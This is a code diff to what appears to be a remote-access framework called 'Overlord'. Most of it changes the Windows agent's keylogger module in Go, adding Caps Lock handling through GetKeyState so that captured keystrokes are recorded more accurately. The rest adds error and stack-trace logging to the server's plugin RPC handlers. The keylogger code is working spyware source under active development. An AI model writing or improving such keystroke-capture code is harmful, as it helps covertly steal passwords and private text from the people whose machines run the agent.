diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go b/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go index c6df8eb..5ebae1a 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go @@ -16,6 +16,7 @@ import ( var ( user32 = syscall.NewLazyDLL("user32.dll") procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState") + procGetKeyState = user32.NewProc("GetKeyState") procGetKeyboardState = user32.NewProc("GetKeyboardState") procToUnicode = user32.NewProc("ToUnicode") procMapVirtualKey = user32.NewProc("MapVirtualKeyW") @@ -118,6 +119,13 @@ func getKeyString(vk int) string { kbState[VK_MENU] &^= 0x80 } + capsOn := (getKeyState(VK_CAPITAL) & 0x0001) != 0 + if capsOn { + kbState[VK_CAPITAL] |= 0x01 + } else { + kbState[VK_CAPITAL] &^= 0x01 + } + if ctrlDown || altDown { base := keyNameForCombo(vk) if base != "" { @@ -221,6 +229,11 @@ func getAsyncKeyState(vk int) uint16 { return uint16(ret) } +func getKeyState(vk int) uint16 { + ret, _, _ := procGetKeyState.Call(uintptr(vk)) + return uint16(ret) +} + func keyNameForCombo(vk int) string { // Letters if vk >= 0x41 && vk <= 0x5A { diff --git a/Overlord-Server/src/server/plugin-runtime/worker-host.ts b/Overlord-Server/src/server/plugin-runtime/worker-host.ts index 655d875..15484e0 100644 --- a/Overlord-Server/src/server/plugin-runtime/worker-host.ts +++ b/Overlord-Server/src/server/plugin-runtime/worker-host.ts @@ -111,6 +111,8 @@ self.onmessage = async (e: MessageEvent) => { send({ type: "rpc_reply", id: msg.id, ok: true, result: result ?? null }); } catch (err) { const error = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack || "" : ""; + console.error(`[plugin-worker] RPC ${msg.method} error: ${error}`, stack); send({ type: "rpc_reply", id: msg.id, ok: false, error }); } return; diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts index ad827a4..a405503 100644 --- a/Overlord-Server/src/server/routes/plugin-routes.ts +++ b/Overlord-Server/src/server/routes/plugin-routes.ts @@ -953,6 +953,7 @@ export async function handlePluginRoutes( metrics.recordCommand("plugin_rpc"); return Response.json({ ok: true, result }); } catch (err) { + console.error(`[plugin:${pluginId}] RPC ${method} error:`, (err as Error).message, (err as Error).stack || ""); return Response.json({ ok: false, error: (err as Error).message }, { status: 500 }); } }